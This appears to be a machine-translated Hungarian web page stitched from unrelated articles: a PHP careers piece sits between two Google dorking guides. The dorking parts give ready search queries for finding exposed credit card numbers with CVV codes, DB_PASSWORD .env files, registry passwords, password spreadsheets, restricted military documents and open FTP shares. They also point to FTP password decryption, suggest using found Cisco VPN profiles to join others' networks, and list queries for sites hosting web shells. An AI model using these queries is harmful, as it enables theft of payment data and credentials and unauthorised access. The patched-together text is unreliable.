Inurl php http milyen bevétel. Hogyan lehet pénzt keresni a PHP ismeretével? Hogyan kereshet jó pénzt otthon egy php programozó?

A személyes adatok megszerzése nem mindig jelent feltörést – néha nyilvánosan is közzéteszik. A Google beállításainak ismerete és egy kis találékonyság lehetővé teszi, hogy sok érdekes dolgot találjon – a hitelkártyaszámoktól az FBI-dokumentumokig.

FIGYELEM

Minden információ csak tájékoztató jellegű. Sem a szerkesztők, sem a szerző nem vállal felelősséget a cikk anyagai által okozott esetleges károkért.

Ma már minden az internetre csatlakozik, a hozzáférés korlátozásával alig törődnek. Ezért sok személyes adat a keresőmotorok martalékává válik. A pókrobotok már nem korlátozódnak a weboldalakra, hanem minden interneten elérhető tartalmat indexelnek, és folyamatosan adnak hozzá nem nyilvános információkat az adatbázisaikhoz. Ezeket a titkokat könnyű megtudni – csak tudnod kell, hogyan kérdezz rájuk.

Fájlokat keres

Képes kezekben a Google gyorsan megtalál mindent, ami nem található az interneten, például személyes adatokat és fájlokat hivatalos használatra. Gyakran kulcsként vannak elrejtve a szőnyeg alá: nincsenek valódi hozzáférési korlátozások, az adatok egyszerűen az oldal hátulján hevernek, ahová egyetlen hivatkozás sem vezet. A Google szabványos webes felülete csak alapvető speciális keresési beállításokat biztosít, de ezek is elegendőek lesznek.

A Google keresését egy adott fájltípusra korlátozhatja két operátor használatával: filetype és ext . Az első azt a formátumot adja meg, amelyet a keresőmotor a fájl címéből állapított meg, a második pedig a fájl kiterjesztését, függetlenül annak belső tartalmától. Kereséskor mindkét esetben csak a kiterjesztést kell megadni. Kezdetben az ext operátort olyan esetekben lehetett kényelmesen használni, amikor a fájl nem rendelkezik meghatározott formátumjellemzőkkel (például ini és cfg konfigurációs fájlok keresésére, amelyek bármit tartalmazhatnak). Mostanra megváltoztak a Google algoritmusai, és nincs látható különbség az operátorok között – a legtöbb esetben az eredmények ugyanazok.


Az eredmények szűrése

Alapértelmezés szerint a Google az indexelt oldalak összes fájljában keres szavakat és általában minden beírt karaktert. Korlátozhatja a keresési területet legfelső szintű domain, egy adott webhely vagy a keresési sorrend helye szerint magukban a fájlokban. Az első két lehetőséghez használja a webhely operátorát, majd írja be a domain vagy a kiválasztott webhely nevét. A harmadik esetben az operátorok egész halmaza lehetővé teszi az információk keresését a szolgáltatási mezőkben és a metaadatokban. Például az allinurl magukban a hivatkozások törzsében találja meg a megadottat, allinachor - a címkével ellátott szövegben , allintitle - oldalcímekben, allintext - az oldalak törzsében.

Minden operátorhoz létezik egy rövidebb névvel ellátott könnyű verzió (az összes előtag nélkül). A különbség az, hogy az allinurl az összes szót megtalálja, az inurl pedig csak az elsőhöz. A lekérdezés második és azt követő szavai bárhol megjelenhetnek a weboldalakon. Az inurl operátor is különbözik egy másik, hasonló jelentésű operátortól - site. Az első azt is lehetővé teszi, hogy a keresett dokumentumra mutató hivatkozásban tetszőleges karaktersorozatot találjon (például /cgi-bin/), amelyet széles körben használnak ismert sebezhetőségű összetevők megtalálására.

Próbáljuk ki a gyakorlatban. Használjuk az allintext szűrőt, és a kérésből készítsünk egy listát a hitelkártyák számáról és ellenőrző kódjairól, amelyek csak két év múlva járnak le (vagy amikor a tulajdonosok belefáradnak az etetésbe).

Allintext: kártyaszám lejárati dátuma /2017 cvv

Ha azt olvassuk a hírekben, hogy egy fiatal hacker „feltörte” a Pentagon vagy a NASA szervereit, titkos információkat lopva, a legtöbb esetben éppen a Google használatának ilyen alaptechnikájáról beszélünk. Tegyük fel, hogy érdekel minket a NASA alkalmazottainak listája és elérhetőségeik. Bizonyára elérhető egy ilyen lista elektronikus formában. A kényelem kedvéért vagy a felügyelet miatt magán a szervezet honlapján is megtalálható lehet. Logikus, hogy ebben az esetben nem lesz rá hivatkozás, mivel belső használatra készült. Milyen szavak lehetnek egy ilyen fájlban? Legalább - a „cím” mező. Mindezen feltételezések tesztelése egyszerű.


Inurl:nasa.gov fájltípus:xlsx "cím"


Használjuk a bürokráciát

Az ilyen leletek kellemesek. Valóban komoly fogást nyújt a Google üzemeltetőinek részletesebb ismerete a webmesterek számára, magának a Hálózatnak, valamint a keresett dolgok felépítésének sajátosságairól. A részletek ismeretében könnyedén szűrheti az eredményeket és finomíthatja a szükséges fájlok tulajdonságait, hogy a többiben valóban értékes adatokhoz jusson. Vicces, hogy itt a bürokrácia segít. Szabványos készítményeket állít elő, amelyek kényelmesek az internetre véletlenül kiszivárgott titkos információk keresésére.

Például a terjesztési nyilatkozat bélyegzője, amelyet az Egyesült Államok Védelmi Minisztériuma ír elő, szabványos korlátozásokat jelent egy dokumentum terjesztésére vonatkozóan. Az A betű nyilvános közzétételeket jelöl, amelyekben nincs semmi titok; B - kizárólag belső használatra szánt, C - szigorúan bizalmas, és így tovább F-ig. Külön kiemelkedik az X betű, amely különösen értékes, legmagasabb szintű államtitkot képviselő információt jelöl. Azok keressenek ilyen dokumentumokat, akiknek ezt szolgálatban kell megtenniük, mi pedig a C betűs fájlokra szorítkozunk. A DoDI 5230.24 irányelv szerint ez a jelölés az exportellenőrzés alá tartozó kritikus technológiák leírását tartalmazó dokumentumokhoz tartozik. . Ilyen gondosan védett információkat találhat az amerikai hadsereg számára fenntartott legfelső szintű domain.mil webhelyein.

"FORGALÁSI NYILATKOZAT C" inurl:navy.mil

Nagyon kényelmes, hogy a .mil domain csak az Egyesült Államok Védelmi Minisztériumának és szerződéses szervezeteinek webhelyeit tartalmazza. A domain korlátozással rendelkező keresési eredmények kivételesen letisztultak, és a címek magukért beszélnek. Az orosz titkok ilyen módon történő keresése gyakorlatilag haszontalan: a domains.ru és.rf-ben káosz uralkodik, és számos fegyverrendszer neve botanikainak tűnik (PP „Kiparis”, önjáró fegyverek „Akatsia”) vagy akár mesésnek is hangzik ( TOS „Buratino”).


A .mil domainben található webhely bármely dokumentumának gondos tanulmányozásával további jelölőket láthat a keresés finomításához. Például a „Sec 2751” exportkorlátozásra való hivatkozás, amely érdekes műszaki információk kereséséhez is kényelmes. Időről időre eltávolítják azokról a hivatalos oldalakról, ahol egykor megjelent, ezért ha nem tud egy érdekes linket követni a keresési eredmények között, használja a Google gyorsítótárát (gyorsítótár operátor) vagy az Internet Archívum webhelyét.

Felhőkbe mászni

A véletlenül feloldott kormányzati dokumentumokon kívül a Google gyorsítótárában időnként felbukkannak a Dropboxból és más adattárolási szolgáltatásokból származó személyes fájlokra mutató hivatkozások, amelyek nyilvánosan közzétett adatokhoz „privát” hivatkozásokat hoznak létre. Még rosszabb az alternatív és házi készítésű szolgáltatásokkal. A következő lekérdezés például minden olyan Verizon-ügyfél adatait keresi, akiknek FTP-kiszolgálója van telepítve, és aktívan használja az útválasztót.

Allinurl:ftp:// verizon.net

Ma már több mint negyvenezer ilyen okos ember van, 2015 tavaszán pedig jóval többen voltak. A Verizon.net helyett bármely ismert szolgáltató nevét helyettesítheti, és minél híresebb, annál nagyobb lehet a fogás. A beépített FTP-kiszolgálón keresztül megtekintheti az útválasztóhoz csatlakoztatott külső tárolóeszközön lévő fájlokat. Általában ez egy NAS távoli munkához, egy személyes felhő vagy valamilyen peer-to-peer fájlletöltés. Az ilyen médiák minden tartalmát a Google és más keresőmotorok indexeli, így a külső meghajtókon tárolt fájlokat közvetlen hivatkozáson keresztül érheti el.

A konfigurációkat nézegetve

A felhőre való széleskörű migráció előtt az egyszerű FTP-szerverek távoli tárolóként működtek, amiben szintén sok volt a sebezhetőség. Sok közülük ma is aktuális. Például a népszerű WS_FTP Professional program konfigurációs adatokat, felhasználói fiókokat és jelszavakat tárol a ws_ftp.ini fájlban. Könnyen megtalálható és olvasható, mivel minden rekord szöveges formátumban van elmentve, a jelszavak pedig a Triple DES algoritmussal titkosítva vannak minimális elfedés után. A legtöbb verzióban elegendő az első bájt eldobása.

Az ilyen jelszavak visszafejtése egyszerű a WS_FTP Password Decryptor segédprogram vagy egy ingyenes webszolgáltatás segítségével.

Amikor egy tetszőleges webhely feltöréséről beszélünk, az általában a jelszó megszerzését jelenti a CMS vagy az e-kereskedelmi alkalmazások konfigurációs fájljainak naplóiból és biztonsági másolataiból. Ha ismeri a tipikus szerkezetüket, könnyen megadhatja a kulcsszavakat. A ws_ftp.ini fájlban található sorok rendkívül gyakoriak. Például a Drupalban és a PrestaShopban mindig van egy felhasználói azonosító (UID) és egy hozzá tartozó jelszó (pwd), és minden információ .inc kiterjesztésű fájlokban tárolódik. Az alábbiak szerint kereshet rájuk:

"pwd=" "UID=" ext:inc

DBMS jelszavak felfedése

Az SQL szerverek konfigurációs fájljaiban a felhasználónevek és e-mail címek szöveges formában vannak tárolva, és jelszavak helyett az MD5-kivonatokat írják ki. Szigorúan véve lehetetlen visszafejteni őket, de az ismert hash-jelszó párok között találhatunk megfelelőt.

Még mindig vannak olyan DBMS-ek, amelyek nem is használnak jelszókivonatot. Bármelyik konfigurációs fájlja egyszerűen megtekinthető a böngészőben.

Intext:DB_PASSWORD fájltípus:env

A Windows szerverek megjelenésével a konfigurációs fájlok helyét részben a registry foglalta el. Ugyanúgy kereshet az ágai között, a reg fájltípust használva. Például így:

Fájltípus:reg HKEY_CURRENT_USER "Password"=

Ne felejtsük el a nyilvánvalót

Néha véletlenül megnyitott és a Google tudomására jutott adatok segítségével is el lehet jutni minősített információkhoz. Az ideális megoldás az, ha megtalálja a jelszavak listáját valamilyen általános formátumban. Szövegfájlban, Word-dokumentumban vagy Excel-táblázatban csak a kétségbeesett emberek tárolhatják a fiókadatokat, de ezekből mindig van elég.

Fájltípus:xls inurl:jelszó

Egyrészt rengeteg eszköz van az ilyen esetek megelőzésére. Megfelelő hozzáférési jogosultságokat kell megadni a htaccess-ben, javítani kell a CMS-t, nem szabad balkezes szkripteket használni és más lyukakat bezárni. Van egy olyan fájl is, amely a robots.txt kivételek listáját tartalmazza, amely megtiltja a keresőmotoroknak, hogy indexeljék a benne megadott fájlokat és könyvtárakat. Viszont ha valamelyik szerveren a robots.txt felépítése eltér a szabványostól, akkor azonnal kiderül, hogy mit akarnak elrejteni rajta.

A könyvtárak és fájlok listáját bármely webhelyen a szabványos index előzi meg. Mivel szolgáltatási célból meg kell jelennie a címben, célszerű a keresést az intitle operátorra korlátozni. Érdekes dolgok vannak az /admin/, /personal/, /etc/ és még a /secret/ könyvtárban is.

Maradjon velünk a frissítésekről

A relevancia itt rendkívül fontos: a régi sebezhetőségek nagyon lassan záródnak be, de a Google és keresési eredményei folyamatosan változnak. Még az „utolsó másodperc” szűrő (&tbs=qdr:s a kérés URL-címének végén) és a „valós idejű” szűrő (&tbs=qdr:1) között is van különbség.

A Google implicit módon jelzi a fájl utolsó frissítésének időpontját is. A grafikus webes felületen keresztül választhat egyet a standard időszakok közül (óra, nap, hét stb.), vagy beállíthat dátumtartományt, de ez a módszer nem alkalmas automatizálásra.

A címsor kinézete alapján csak sejtheti, hogy miként lehet korlátozni az eredmények kimenetét a &tbs=qdr: konstrukcióval. Az utána lévő y betű egy év korlátot jelöl (&tbs=qdr:y), m az utolsó hónap eredményeit mutatja, w - a hét, d - az elmúlt nap, h - az utolsó óra, n - percre, és s -re, adj egy másodpercet. A Google által az imént közölt legfrissebb eredmények a &tbs=qdr:1 szűrő használatával érhetők el.

Ha ügyes szkriptet kell írnia, hasznos tudnia, hogy a dátumtartományt a Google Julian formátumban állítja be a daterange operátor segítségével. Például így találhatja meg a bizalmas szót tartalmazó PDF dokumentumok listáját, amelyeket 2015. január 1. és július 1. között töltöttek le.

Bizalmas fájltípus: pdf dátumtartomány: 2457024-2457205

A tartomány Julian-dátumformátumban van feltüntetve, a törtrész figyelembevétele nélkül. A Gergely-naptárból manuálisan lefordítani őket kényelmetlen. Egyszerűbb a dátum konvertáló használata.

Ismét célzás és szűrés

Amellett, hogy további operátorokat ad meg a keresési lekérdezésben, ezek közvetlenül a hivatkozás törzsében is elküldhetők. Például a filetype:pdf specifikáció az as_filetype=pdf konstrukciónak felel meg. Ez kényelmessé teszi a pontosítások kérését. Tegyük fel, hogy a csak a Hondurasi Köztársaságból származó eredményeket a cr=countryHN konstrukció hozzáadásával határozzuk meg a keresési URL-hez, és csak Bobruisk városából - gcs=Bobruisk. A teljes listát a fejlesztői részben találja.

A Google automatizálási eszközeit úgy tervezték, hogy megkönnyítsék az életet, de gyakran problémákat okoznak. Például a felhasználó városát a felhasználó IP-címe határozza meg a WHOIS-on keresztül. Ezen információk alapján a Google nem csak a szerverek közötti terhelést egyensúlyozza ki, hanem a keresési eredményeket is megváltoztatja. Régiótól függően ugyanazon kérés esetén különböző eredmények jelennek meg az első oldalon, és ezek egy része teljesen rejtett lehet. A gl=country direktíva utáni kétbetűs kód segít abban, hogy kozmopolitának érezze magát, és bármely ország információit keresse. Például Hollandia kódja NL, de a Vatikánnak és Észak-Koreának nincs saját kódja a Google-ban.

A keresési eredmények gyakran még több speciális szűrő használata után is zsúfolttá válnak. Ebben az esetben könnyen tisztázható a kérés több kivételszó hozzáadásával (mindegyik elé mínusz jel kerül). Például a banki, neveket és oktatóanyagokat gyakran használják a Személyes szóval. Ezért a letisztultabb keresési eredményeket nem egy lekérdezés tankönyvi példája mutatja, hanem egy finomított:

Cím: "A /Személyes/" -nevek indexe -oktatóanyag -banki

Egy utolsó példa

Egy kifinomult hackert az különböztet meg, hogy egyedül gondoskodik mindenről, amire szüksége van. Például a VPN kényelmes dolog, de vagy drága, vagy ideiglenes és korlátozásokkal. Túl drága, ha saját magának előfizet. Még jó, hogy vannak csoportos előfizetések, és a Google segítségével könnyen bekerülhet egy csoportba. Ehhez csak keresse meg a Cisco VPN konfigurációs fájlt, amelynek meglehetősen nem szabványos PCF kiterjesztése és felismerhető elérési útja van: Program Files\Cisco Systems\VPN Client\Profiles. Egy kérés, és csatlakozol például a Bonni Egyetem barátságos csapatához.

Fájltípus: pcf vpn VAGY csoport

INFO

A Google talál jelszókonfigurációs fájlokat, de sok közülük titkosítva van, vagy kivonatokkal helyettesítik. Ha rögzített hosszúságú karakterláncokat lát, azonnal keressen egy visszafejtő szolgáltatást.

A jelszavakat titkosítva tárolják, de Maurice Massard már írt egy programot a visszafejtésre, és ingyenesen biztosítja a thecampusgeeks.com oldalon.

A Google több száz különböző típusú támadást és penetrációs tesztet futtat. Számos lehetőség létezik, amelyek a népszerű programokat, a főbb adatbázis-formátumokat, a PHP számos sebezhetőségét, a felhőket és így tovább érintik. Ha pontosan tudja, hogy mit keres, akkor sokkal könnyebben megtalálhatja a szükséges információkat (különösen azokat az információkat, amelyeket nem állt szándékában nyilvánosságra hozni). Nem a Shodan az egyetlen, amely érdekes ötletekkel táplálkozik, hanem minden indexelt hálózati erőforrás adatbázis!

A szerzőtől: Hello barátok! Ebben a cikkben a PHP programozási nyelvről fogunk beszélni. Nézzük meg, mire használják, mit lehet vele kezdeni, és milyen helyet foglal el a weboldalfejlesztés szakaszaiban. Ebben a cikkben is megvizsgáljuk, hogyan lehet pénzt keresni a PHP programozás ismeretében.

Mi az a PHP és mire való?

A PHP egy szkriptnyelv, amelyet nagyon aktívan használnak webes alkalmazások fejlesztésében. A PHP a dinamikus webhelyek fejlesztésében használt egyik vezető nyelv.

A PHP egy szerveroldali programozási nyelv. Az ezen a nyelven írt összes szkript a webhelyhez tartozó szerveren fut. A PHP tanulásához, weboldalak és szkriptek fejlesztéséhez és hibakereséséhez természetesen nem kell valódi szervert vásárolnia az interneten. Erre a célra szerveremulátorokat használnak, amelyeket programok formájában egyszerűen telepítenek egy működő számítógépre. Az internetes szerveren (hosting) pedig kész weboldalak és PHP szkriptekkel ellátott oldalak kerülnek elhelyezésre. Egyébként szinte minden modern hosting támogatja a PHP nyelvet.

Ennek a nyelvnek a népszerűségét a webhelykészítés területén a webalkalmazások fejlesztésére szolgáló beépített eszközök nagy készletének jelenléte határozza meg. A főbbek:

a POST és GET paraméterek, valamint a webszerver környezeti változóinak automatikus kinyerése előre meghatározott tömbökbe;

interakció számos különböző adatbázis-kezelő rendszerrel (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape és Apache Derby, Informix, Ovrimos SQL, Lotus Notes , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO interfész);

HTTP-fejlécek automatikus küldése;

cookie-kkal és munkamenetekkel végzett munka;

helyi és távoli fájlokkal, socketekkel való munkavégzés;

a szerverre feltöltött fájlok feldolgozása;

XForms-szal dolgozik.

Nézzünk egy példát, ahol a PHP szkript fut az oldalon. Vegyük például az előfizetési űrlapot, amelyen számos webhelyen megadja nevét és e-mail címét. A HTML és a CSS felelős az űrlap megjelenéséért - a beviteli mezők és gombok színeiért, a gomb színének megváltoztatásáért, amikor az egérmutatót lebegteti és rákattint, és így tovább. A HTML5 használatával ellenőrizheti az űrlapon megadott adatok helyességét - például, hogy az email vagy a telefon mezői megfelelően vannak-e kitöltve.

A „Feliratkozás” gombra kattintás után pedig egy PHP szkript kerül meghívásra, amely fogadja az űrlapon megadott adatokat. A szkript rögzíti őket az adatbázisban, generál és elküld egy linket az űrlapon megadott e-mail-címre az előfizetés megerősítéséhez, ellenőrzi az előfizetés visszaigazolását és további e-maileket küld. Mindezeket a műveleteket a szerveren hajtják végre, és ez a PHP programozási nyelv használatával történik.

A PHP alkalmazása honlapkészítésben

Weboldal létrehozásához több szakaszon kell keresztülmennie:

Tervezés. Ebben a szakaszban tervezzük a leendő oldalt: kinek és miért készítjük, ki fogja látogatni az oldalt, mivel töltsük fel, mi legyen az oldalon stb.

Tervezés. A tervezési szakaszban grafikus szerkesztőben hozzuk létre a webhely oldalainak megjelenését.

Elrendezés. Az elrendezési szakaszban HTML és CSS segítségével a tervezési szakaszban kapott elrendezésekből elkészítjük a leendő webhely HTML oldalait.

Programozás. A programozási szakaszban automatizáljuk az oldallal végzett munka folyamatait. Az oldal adminisztrációs részét (adminisztrációs panelt) úgy programozzuk, hogy a weboldalkészítésben teljesen járatlan személy számára is felvehessen, töröljön, szerkeszthessen meglévő oldalakat. Úgy programozzuk, hogy a keresés és az összes feliratkozási űrlap (ha van) működjön az oldalon. Gondoskodunk arról, hogy az újonnan hozzáadott oldal megjelenjen az oldalon, és a létrehozott oldalra mutató hivatkozás automatikusan megjelenjen a menüben. Ha az oldal szavazást vagy felmérést használ, akkor ez is PHP-ben van programozva a programozási szakaszban.

Ha figyelembe vesszük egy nagyobb webhely, például egy online áruház programozásának szakaszát, akkor itt minden még szélesebb és érdekesebb. Ebben az esetben nem csak oldalakat, hanem termékeket is hozzáadunk - az online áruház fő tartalmát. Ezenkívül az adminisztrációs panelen meg kell adnia a hozzáadott termékek különböző kategóriák szerinti bontását. Lehetővé kell tenni a termék szerkesztését, leírásának, árának, képének stb.

Ezenkívül egy online áruházhoz analitikai rendszer programozása is szükséges – így az adminisztrációs panelen láthatja, hogy hány rendelést adtak le és fizettek ki, milyen összegért, és mely termékekért milyen kategóriákból fizettek stb. különböző időszakokra vonatkozóan megjeleníthetők ilyen jelentések. Egy webáruház programozásakor gyakran a számviteli és adózási célú értékesítési jelentés is megvalósul.

Éppen ezért a PHP programozási nyelv használatának szakasza a legfontosabb, a leghosszabb ideig tartó, valamint a legdrágább és legjobban fizetett webhelyfejlesztés. És miután megértette, hogyan kell programozni egy online áruházat, szinte bármilyen bonyolultságú webhelyhez képes lesz szkripteket készíteni.

A PHP népszerűsége

A PHP népszerűségét bizonyítja, hogy az összes olyan oldal 83,1%-a használja, ahol sikerült szerveroldali programozási nyelvet azonosítani.

Az összes legnépszerűbb CMS, amely a népszerűségi besorolások első helyeit foglalja el (fizetős és ingyenes: WordPress, Joomla, Drupal, Modx, Bitrix. Magento stb.) PHP programozási nyelven íródott.

A PHP programozási nyelv népszerűségét a számos létrehozott PHP keretrendszer is bizonyítja, mint például a Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 és mások. Rengeteg fórum és nagy közösség létezik - a PHP-hez általában, minden keretrendszerhez és minden CMS-hez külön-külön.
Azt is hozzáteszem, hogy a világ legnagyobb oldalai, például a Facebook, a Wikipédia is PHP-ben íródnak.

Hogyan lehet pénzt keresni a PHP tudásával?

Tekintettel a PHP népszerűségére, folyamatosan nagy az igény a PHP programozókra. A PHP ismerete és ezen a nyelven való programozás új lehetőségeket nyit meg a pénzkeresésben. Nézzük a főbbeket, amelyekkel ma igazán pénzt kereshet:

Pénzt keresni forgatókönyvek fejlesztésével. Minden oldal folyamatosan fejlődik, és időszakonként új szkriptek írása, vagy további funkciók, modulok stb. fejlesztése szükséges. Az ilyen fejlesztésekhez a webhelytulajdonosok a PHP fejlesztőihez fordulnak. Ezenkívül ebben az esetben kétféleképpen kereshet pénzt:

Kövesse nyomon a megrendeléseket, hogy szabadúszó fejlesztőt találjon;

ötleteket generálni tömeges szkriptekhez. Ha van egy ötlete egy forgatókönyvre, amely biztosan kereslet lesz például az online áruházak tulajdonosai körében, önállóan kifejleszthet egy ilyen szkriptet, és eladhatja az online boltok tulajdonosainak;

Kész szkriptek véglegesítése „rendelésre”. Itt minden egyszerű - Ön vállalja a szkript módosítását vagy javítását. De ebben az esetben van egy árnyalat - kezdetben előfordulhat, hogy a forgatókönyv nem készült túl jól, és a finomítása több időt vehet igénybe, mint a forgatókönyv megírása a semmiből. Ezért, ha ezt a pénzkereseti módszert használja, kezdetben nagyon alaposan nézze meg, hogy mit fog módosítani és kiegészíteni.

Bővítmények fejlesztése CMS-hez. Ebben a módszerben minden ugyanaz, mint a szkriptekből való pénzkeresésnél. Gyakran előfordul, hogy a kész CMS-en létrehozott webhelyeken valamilyen bővítményt, kiegészítőt vagy bővítményt kell írni. És itt kétféleképpen kereshet pénzt:

beépülő modulok, kiegészítők és bővítmények fejlesztésére vonatkozó megrendelések követése szabadúszó alapon;

tömeges bővítmény fejlesztése és értékesítése, amelyre a legtöbb webhelyen biztosan lesz kereslet;

Saját és közös projektek. Ha van ötlete egy internetes projektre (startup), például ötlete van egy hasznos szolgáltatásra vagy alkalmazásra, amely egy adott problémát megoldana, akkor elkezdheti a megvalósítását. Kezdetben akár csak hobbiként is működhet, a fő munkája mellett. Aztán, ha világossá válik, hogy a hobbi egy nagy projektté nő, több időt lehet majd fordítani rá.

Dinamikus weboldalak és motorok készítése számukra. Jó pénzt kereshet egyéni webhelyek fejlesztésével, szabadúszóként vagy webstúdióban való munkával is.

Weboldalak készítése saját magának. Létrehozhat magának egy weboldalt, megtöltheti hasznos tartalommal - és ha az oldalnak elegendő látogatója van, kezdjen el pénzt keresni azzal, hogy fizetett hirdetéseket helyez el rajta, vagy partnerprogramokon keresztül reklámozza valaki termékeit.

Azt hiszem, sokan gondoltatok arra, hogy a fenti pénzkeresési módok mindegyike kombinálható. És ez helyes! Létrehozhat magának egy webhelyet, és passzív pénzt kereshet reklámok eladásával, valamint létrehozhat egy szkriptet vagy beépülő modult, és eladhatja azt speciális webhelyeken, így minden eladásból pénzt kereshet a robotpilóta segítségével, és ugyanakkor továbbra is dolgozhat a weben. stúdió. Miért ne? Persze hogy lehet!

Mennyit kereshet egy PHP fejlesztő?

A PHP programozók keresetével minden egyéni. Itt sok múlik azon, hogy hol, hogyan, milyen tudásszinten, milyen tapasztalattal, végzettséggel, milyen kapcsolódó többlettudással rendelkezik a fejlesztő stb. Ezért itt elvileg nem lehet pontos szám. De megnézhetjük, milyen fizetéseket kínálnak, ha PHP-programozókat keresünk egy webstúdióban, és mennyit hajlandók fizetni egy projektért a szabadúszó tőzsdéken.

Az alábbi képen a PHP programozók javasolt fizetése látható egy webstúdióban. Sőt, ez a munkatapasztalat nélküli PHP programozók fizetése:

Ha van munkatapasztalata, sokkal többet kereshet. Az alábbiakban a tapasztalt PHP programozóknak kínált fizetéseket találja.

És ma már tisztességes pénzt is kereshet szabadúszóként:

Következtetés

A PHP a legnépszerűbb programozási nyelv a webfejlesztők körében. Az interneten található webhelyek túlnyomó többsége PHP-ben készült. Az ezen a programozási nyelven való fejlesztéshez szükséges tudás és képesség birtokában jó pénzt kereshet, és számos lehetőség kínálkozik a pénzkeresésre - a webstúdióban végzett munkától a saját projekt vagy startup fejlesztéséig.

A sebezhetőségek keresése a webes erőforrásokon a felderítéssel és információgyűjtéssel kezdődik.
Az intelligencia lehet aktív – a webhely fájljainak és könyvtárainak brutális erőszakos támadása, biztonsági rés-ellenőrzők futtatása, a webhely manuális böngészése, vagy passzív – információk keresése különböző keresőmotorokban. Néha előfordul, hogy egy biztonsági rés már az oldal első oldalának megnyitása előtt ismertté válik.

Hogyan lehetséges ez?
Az internetet folyamatosan barangoló keresőrobotok az átlagfelhasználó számára hasznos információk mellett gyakran rögzítenek olyan dolgokat is, amelyeket a támadók felhasználhatnak egy webes erőforrás megtámadására. Például szkripthibák és érzékeny információkat tartalmazó fájlok (a konfigurációs fájloktól és naplóktól a hitelesítési adatokat és adatbázis-mentéseket tartalmazó fájlokig).
A keresőrobot szempontjából az sql lekérdezés végrehajtásával kapcsolatos hibaüzenet sima szöveg, amely elválaszthatatlan például az oldalon található termékek leírásától. Ha hirtelen egy keresőrobot talált egy .sql kiterjesztésű fájlt, amely valamilyen oknál fogva a webhely munkamappájába került, akkor azt a webhely tartalmának részeként észleli, és indexeli is (beleértve esetleg a jelszavakat is abban meghatározott).

Az ilyen információk az erős, gyakran egyedi kulcsszavak ismeretében érhetők el, amelyek segítenek elkülöníteni a „sebezhető oldalakat” azoktól az oldalaktól, amelyek nem tartalmaznak sebezhetőséget.
A kulcsszavakat használó speciális lekérdezések hatalmas adatbázisa (úgynevezett dorks) létezik az exploit-db.com oldalon, és ez a Google Hack Database néven ismert.

Miért a google?
A Dorks elsősorban a Google-t célozza két okból:
− a kulcsszavak (1. táblázat) és speciális karakterek (2. táblázat) legrugalmasabb szintaxisa;
− a Google indexe még mindig teljesebb, mint a többi keresőmotoré;

1. táblázat - Fő Google kulcsszavak

Kulcsszó
Jelentése
Példa
webhely
Csak a megadott webhelyen keressen. Csak az url-t veszi figyelembe
site:somesite.ru - megkeresi egy adott domain és aldomain összes oldalát
inurl
Keresés az uri-ban található szavak alapján. Ellentétben cl. „webhely” szavakkal, a webhely neve után keres egyezést
inurl:news - megkeresi az összes oldalt, ahol az adott szó szerepel az uri-ban
szövegben
Keresés az oldal törzsében
intext: "forgalmi dugók" - teljesen hasonló a szokásos "forgalmi dugók" kéréshez
cím
Keresés az oldal címében. Szöveg a címkék között <br></td> <td width="214">intitle:”index of” – megkeresi az összes könyvtárlistát tartalmazó oldalt <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Adott kiterjesztésű oldalak keresése <br></td> <td width="214">ext:pdf – minden pdf fájlt megtalál <br></td> </tr><tr><td width="214">fájltípus <br></td> <td width="214">Jelenleg teljesen hasonló az osztályhoz. az "ext" szó <br></td> <td width="214">fájltípus:pdf - hasonló <br></td> </tr><tr><td width="214">összefüggő <br></td> <td width="214">Keressen hasonló témájú webhelyeket <br></td> <td width="214">related:google.ru - megmutatja analógjait <br></td> </tr><tr><td width="214">link <br></td> <td width="214">Keressen olyan webhelyeket, amelyek erre hivatkoznak <br></td> <td width="214">link:somesite.ru – megkeresi az összes olyan webhelyet, amely linkel rendelkezik erre <br></td> </tr><tr><td width="214">meghatározni <br></td> <td width="214">Szódefiníció megjelenítése <br></td> <td width="214">define:0day - a kifejezés meghatározása <br></td> </tr><tr><td width="214">gyorsítótár <br></td> <td width="214">Az oldal tartalmának megjelenítése a gyorsítótárban (ha van) <br></td> <td width="214">cache:google.com – megnyílik egy gyorsítótárazott oldal <br></td> </tr></tbody></table><p>2. táblázat – Speciális karakterek a Google-lekérdezésekhez <br></p><table><tbody><tr><td width="214"><b>Szimbólum</b><br></td> <td width="214"><b>Jelentése</b><br></td> <td width="214"><b>Példa</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Pontos kifejezés <br></td> <td width="214">intitle:"RouterOS router konfigurációs oldal" - routerek keresése <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Bármilyen szöveg <br></td> <td width="214">inurl: "bitrix*mcart" - webhelyek keresése a bitrixen egy sebezhető mcart modullal <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Bármilyen karakter <br></td> <td width="214">Index.of - hasonló a kérelem indexéhez <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Töröljön egy szót <br></td> <td width="214">hiba -figyelmeztetés - az összes olyan oldal megjelenítése, amelyen hiba van, de nincs figyelmeztetés <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Hatótávolság <br></td> <td width="214">cve 2006..2016 - a sebezhetőségek megjelenítése évenként 2006-tól <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Logikus "vagy" <br></td> <td width="214">linux | ablakok – azokat az oldalakat jelenítik meg, ahol az első vagy a második szó fordul elő <br></td> </tr></tbody></table><br>Érdemes megérteni, hogy a keresőmotorhoz intézett bármely kérés csak szavak alapján történő keresés. <br>Felesleges metakaraktereket keresni az oldalon (idézőjel, zárójel, írásjel stb.). Még az idézőjelben megadott kifejezés pontos keresése is szókeresés, amelyet a találatok között a pontos egyezés keresése követ. <p>Az összes Google Hack Database dork logikusan 14 kategóriába sorolható, és a 3. táblázatban látható. <br>3. táblázat – Google Hack adatbázis-kategóriák <br></p><table><tbody><tr><td width="168"><b>Kategória</b><br></td> <td width="190"><b>Ami lehetővé teszi, hogy megtalálja</b><br></td> <td width="284"><b>Példa</b><br></td> </tr><tr><td width="168">Lábtartók <br></td> <td width="190">Web shellek, nyilvános fájlkezelők <br></td> <td width="284">Keresse meg az összes feltört webhelyet, ahová a felsorolt ​​webshelleket feltöltötték: <br>(intitle:"phpshell" VAGY intitle:"c99shell" VAGY intitle:"r57shell" VAGY intitle:"PHP 